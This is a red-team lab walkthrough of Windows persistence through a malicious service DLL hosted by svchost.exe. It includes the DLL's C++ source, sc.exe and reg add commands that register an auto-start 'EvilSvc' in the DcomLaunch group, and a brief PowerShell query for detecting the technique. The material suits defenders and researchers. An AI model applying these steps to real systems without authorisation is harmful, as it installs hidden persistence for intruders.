Persisting in svchost.exe with a Service DLL
This is a quick lab that looks into a persistence mechanism that relies on installing a new Windows service, that will be hosted by an svchost.exe process.
Overview
At a high level, this is how the technique works:
Create a service
EvilSvc.dllDLL (the DLL that will be loaded into ansvchost.exe) with the code we want executed on each system rebootCreate a new service
EvilSvcwithbinPath= svchost.exeAdd the
ServiceDllvalue toEvilSvcservice and point it to the service DLL compiled in step 1Modify
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchostto specify under which group your service should be loaded intoStart
EvilSvcserviceThe
EvilSvcis started and its service DLLEvilSvc.dllis loaded into ansvchost.exe
Walkthrough
1. Compile Service DLL
First of, let's compile our service DLL as EvilSvc.dll. This DLL is going to be loaded into an svchost.exe as part of our service EvilSvc that we will register in a second:
#include "pch.h"
#define SVCNAME TEXT("EvilSvc")
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle;
HANDLE stopEvent = NULL;
VOID UpdateServiceStatus(DWORD currentState)
{
serviceStatus.dwCurrentState = currentState;
SetServiceStatus(serviceStatusHandle, &serviceStatus);
}
DWORD ServiceHandler(DWORD controlCode, DWORD eventType, LPVOID eventData, LPVOID context)
{
switch (controlCode)
{
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetEvent(stopEvent);
break;
case SERVICE_CONTROL_SHUTDOWN:
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetEvent(stopEvent);
break;
case SERVICE_CONTROL_PAUSE:
serviceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
serviceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
UpdateServiceStatus(SERVICE_RUNNING);
return NO_ERROR;
}
VOID ExecuteServiceCode()
{
stopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
UpdateServiceStatus(SERVICE_RUNNING);
// #####################################
// your persistence code here
// #####################################
while (1)
{
WaitForSingleObject(stopEvent, INFINITE);
UpdateServiceStatus(SERVICE_STOPPED);
return;
}
}
extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD argC, LPWSTR * argV)
{
serviceStatusHandle = RegisterServiceCtrlHandler(SVCNAME, (LPHANDLER_FUNCTION)ServiceHandler);
serviceStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
serviceStatus.dwServiceSpecificExitCode = 0;
UpdateServiceStatus(SERVICE_START_PENDING);
ExecuteServiceCode();
}2. Create EvilSvc Service
Let's now create a new service called EvilSvc and specify the binPath to be svchost.exe -k DcomLaunch, which will tell Service Control Manager that we want our EvilSvc to be hosted by svchost.exe in a service group called DcomLaunch:
sc.exe create EvilSvc binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto3. Modify EvilSvc - Specify ServiceDLL Path
Next, inside HKLM\SYSTEM\CurrentControlSet\services\EvilSvc\, create a new value called ServiceDll and point it to the EvilSvc.dll service DLL compiled in step 1:
reg add HKLM\SYSTEM\CurrentControlSet\services\EvilSvc\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\system32\EvilSvc.dll /fEvilSvc.dll must exist in C:\Windows\system32\EvilSvc.dll
At this point, our EvilSvc should be created with all the right parameters as seen in the registry:

4. Group EvilSvc with DcomLaunch
As a final step, we need to tell the Service Control Manager under which service group our EvilSvcshould load.
We want it to get loaded in the DcomLaunch group, so we need to add our service name EvilSvc in the list of services in the DcomLaunch value in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost:

5. Start EvilSvc Service
We can now try loading our EvilSvc service:
sc.exe start EvilSvcEvilSvc is now loaded into svchost.exe as part of a DcomLauncher services group:

Detection
Below are some initial thoughts on how one could start hunting for this technique:
Recently created services with
svchost.exeas abinpathListing out ServiceDLL value for all system services and looking for DLLs that are loaded from suspicious locations (i.e non c:\windows\system32):
Get-ItemProperty hklm:\SYSTEM\ControlSet001\Services\*\Parameters | ? { $_.servicedll } | select psparentpath, servicedll

References
Last updated
Was this helpful?